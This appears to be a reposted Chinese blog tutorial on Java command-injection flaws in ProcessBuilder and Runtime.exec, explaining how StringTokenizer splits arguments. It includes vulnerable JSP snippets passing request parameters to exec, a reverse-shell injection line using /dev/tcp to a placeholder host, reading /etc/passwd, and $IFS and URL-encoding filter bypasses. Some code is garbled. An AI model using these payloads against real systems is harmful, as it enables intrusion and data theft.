java命令执行漏洞
Posted lisenMiller
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java命令执行漏洞相关的知识,希望对你有一定的参考价值。
ProcessBuilder命令执行漏洞
Processbuilder执行命令的方式如下
ProcessBuilder pb = new ProcessBuilder("myCommand","myarg"); Process process = pb.start();
#PROCESSBUILDER管理一个进程属性集.start()方法利用这些属性创建一个新的process实例.
Processbuilder执行"ls -al"
public class exec
public static void main(String[] args) throws IOException
ProcessBuilder p = new ProcessBuilder("ls","-al");
Process pb = p.start();
//获取完成命令后的结果并输出
string line;
bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputstream(),"GBK");
while((line = reader.readLine())!=null)
system.out.println(line);
reader.close();
连接漏洞实例
<% string ip = request.getparameter("ip"); try processbuilder p =new processbuilder("ping","-t","3",ip); #主要问题出在这里,ip是完全可控的,通过命令连接符";"即可实现攻击 例如输入127.0.0.1;/bin/bash -i >& /dev/tcp/ip/port 0>%1; process pb = p.start(); string line ; bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputsrream(),"GBK")); while((line=reader.readLine())!=null) out.println(line); reader.close(); catch(exception e) out.println(e); %>
由于runtime.getruntime.exec 和process builder.start执行系统名命令时,没有获取unix或linux shell并在其中运行命令.要使用管道功能必须是shell程序
exec="ping -t 3"+ip;
改成processbuilder pb = new processbuilder("bash","-c",exec);
Runtimeexec 命令执行漏洞
参数可控的情况命令执行漏洞的利用和原理
1.runtime exec执行字符串参数和数据参数之间的不同process proc = runtime.getruntime().exec("ping x.x.x.x");
#执行成功返回正常
process proc = runtime.getruntime().exec("ping x.x.x.x;ls");
#执行完成没有结果,命令没有执行成功
改为数组传参
stinrg[] command = "/bin/sh","-c","ping -t 3 x.x.x.x;id");
process proc = runtime.getruntime().exec(command);
#成功执行
原因:跟进rumtime.getruntime的exec函数发现会尽过一个stirngtokenizer的函数对传入参数进行调整
pubulic stringtokenizer(string str)
this(str,delim:"\\t\\n\\r\\f",returndelims:false
处理示例:
string com = "/bin/sh -c \\"ping -t 3 x.x.x.x;id \\"";
字符串传参,被stringtokenizer分割成
"/bin/sh" "-c" ""ping" "-t" "3" "x.x.x.x" "id"" """ 原语义已经被删除不能执行此命令
string[] com = "/bin/sh","-c"."ping -t 3 x.x.x.x;id";
直接调用processbuilder执行 "/bin/sh" "-c" "ping -t 3 x.x.x.x;id"
数组传参
runtimeexec方法本身可控的情况下执行命令执<%
string cmd = request.getparameter("cmd"); try process proc = runtime.getRuntime().exec(cmd); string line; bufferedreader reader = new bufferedreader(new inputstreamreader(proc.getinputsream(),"GBK")); while((line=reader.readLine())!=null) out.println(line); reader.close(); catch(exception e) out.println(e); %>
cmd参数可控并且没有过滤 1.绕过stringtokenizer2符合RFCurl规范
命令1:cmd=ls
#执行成功
命令2:cmd=ls;cat /etc/passwd
#错误 原因:通过runtime.getruntime().exec执行命令并没有启动一个新的shell,所以需要重新启动一个shell
改成 cmd=sh -c ls;cat /etc/passwd
#错误 原因参数为字符串参数,会被stringtokenizer分割导致失去原有语义不能执行,绕过stringtokenizer只需要替换空格字符如 $IFS,$IFS$9等
改成 cmd=sh -c ls;cat$IFS/etc/passwd
#报错 the valid characters are defined in RFC 7230 and RFC 3986
解析:根据RFC规范,url只允许包含字母a-z A-Z 0-9 和一些特殊字符,不包含所以报错,利用url编码绕过即可
改成 cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd
#成功
java安全——java本地命令执行分析
近几年里,java安全威胁性较高的就是反序列化漏洞了,原因在于反序列化漏洞通常会利用Runtime类来实现RCE命令执行从而控制目标服务器,但有时候我们会发现在某些情况下,Runtime类并不能执行一些较为复杂的命令,或者说无法获得我们想要的预期结果。
例如我们在linux系统下执行该命令是没问题,可以执行成功
但是通过java本地命令执行的Runtime类的exec方法来执行该命令无法获得我们预期的结果
我们换一种方式,不执行这么复杂的命令,Runtime类可以成功执行命令并回显
通过这两种情况的对比发现,java本地命令执行不允许命令中出现一些特殊符号,例如上面的示例中出现的“&&”符号,为什么会出现这种情况?实际上无论是windows还是linux下,java本地命令执行是不支持“|”,“<”,“>”,“&”等特殊符号的,接下来,我们来分析Runtime命令执行的调用链是如何执行命令的。
在Runtime类执行命令的调用链中可以看到exec方法并不是命令执行的终点
我们跟进Runtime类的exec方法,发现exec是一个重载的方法
根据传入的参数大致可以分为两类,exec方法支持传入的命令可以是一个字符串类型,也可以是一个字符串数组类型
//字符串
public Process exec(String command);
public Process exec(String command, String[] envp);
public Process exec(String command, String[] envp, File dir);
//数组
public Process exec(String cmdarray[]);
public Process exec(String[] cmdarray, String[] envp);
public Process exec(String[] cmdarray, String[] envp, File dir);
根据前面我们传入的参数,exec方法调用了一个重载的exec方法,继续跟进
exec方法首先会校验命令是否为空,然后使用了一个StringTokenizer类处理传入的command命令,StringTokenizer的作用大致就是给command字符串打上标记之类的,调用nextToken方法扫描command字符串并按“ \\t \\n \\r \\f ”中的任意一个进行分割,因此这里会以空格为标记将command字符串分割放到cmdarray数组,然后调用exec方法。
思考一下:为什么要将命令分割成数组?
可以看到Runtime类的exec方法底层是把cmdarray数组封装到了一个ProcessBuilder对象中并调用了start方法,也就是说Runtime类的exec方法底层实际上是调用了ProcessBuilder的start方法执行命令
在start方法中,prog会获取cmdarray数组中第一个元素,也就是“echo”,然后调用了checkExec方法进行安全校验
继续跟踪,接着会调用ProcessImpl.start方法,在start方法中有一个new UNIXProcess操作,也就是调用UNIXProcess类来执行系统命令
UNIXProcess的构造方法会调用forkAndExec方法创建命令执行环境(forkAndExec是一个native方法),native方法会去调用底层封装的系统调用去执行命令
forkAndExec方法会返回命令执行进程的pid,我们在命令行中确实会看到一个echo命令的进程,说明forkAndExec方法确实会根据prog的内容来创建命令执行进程
再回到前面提出的一个思考问题,Runtime类的exec方法之所以把command中的命令通过StringTokenizer类分割成数组的目的就是为了让UNIXProcess类的forkAndExec方法根据prog来构建命令执行进程环境。
分析完Runtime类的命令执行流程,我们来看一个linux系统下奇怪的命令执行,以下命令在命令行窗口可以执行成功,但是在使用java本地命令环境下Runtime类的exec方法并没有执行成功。
/bin/sh -c "echo 111 > 3.txt"
根据前面的分析我们知道,Runtime类的exec方法中command会经过一个StringTokenizer类的分割和处理,从cmdarray数组的结果来看,在command原来的语义中"echo 111 > 3.txt"是一个整体,但是StringTokenizer类把"echo 111 > 3.txt"进行了拆分,破坏了command中命令原来的语义,导致在执行命令时返回的并不是我们想要的预期结果。
有同学可能会说,直接将command中的命令传给ProcessBuilder类的构造方法,然后调用start方法,绕过StringTokenizer类的处理,不就可以实现命令执行了。
我们来试一下,发现程序抛异常了,思考一下为什么会抛异常?
理论上思路是可行的,实际上ProcessBuilder类的start方法中prog会获取cmdarray[0]中的内容,然后根据cmdarray[0]来构建命令执行的进程环境,如果直接在ProcessBuilder类的构造中传入command的话,那么forkAndExec方法就无法根据prog的内容来构建命令执行环境,至于具体的原因,我们接下来分析一下ProcessBuilder类的构造犯法。
ProcessBuilder类有两个构造方法,我们先来看String类型参数的构造,可以看到ProcessBuilder的构造中期望传入一个String[]数组
public ProcessBuilder(String... command)
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
如果直接传入一个字符串command的话,forkAndExec方法无法根据/bin/sh -c \\"echo 111 > 3.txt\\"来判断应该创建什么类型的命令执行进程环境,然后就会抛出异常(IOException)
String command = "/bin/sh -c \\"echo 111 > 3.txt\\"";
因此解决方案就是传入一个数组,再执行程序发现Project的目录下生成了一个3.txt文件。
对于ProcessBuilder类的另一个构造方法也是如此,按照要求传入一个ArrayList就可以实现了
public ProcessBuilder(List<String> command)
if (command == null)
throw new NullPointerException();
this.command = command;
命令同样也是可以执行成功
另外,通过Runtime类的exec方法来执行命令,有时候传入的命令经过StringTokenizer类的分割后,破坏了原有的语义,那么也可以传入一个数组的方式
当传入一个数组后会调用重载的exec方法,该方法没有调用StringTokenizer类,而是直接调用了ProcessBuilder类的start方法来执行命令,保留了命令语义完整性,例如ysoserial利用工具中的所有命令都是通过数组传参的。
关于如何通过反射UNIXProcess/ProcessImpl执行命令来绕过RASP机制,还有如何通过JNI编程实现命令执行,放在下一篇来讲吧。
参考资料:
http://www.lmxspace.com/2019/10/08/Java%E4%B8%8B%E5%A5%87%E6%80%AA%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
以上是关于java命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章
Jenkins远程命令执行漏洞(CVE-2018-1000861)
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现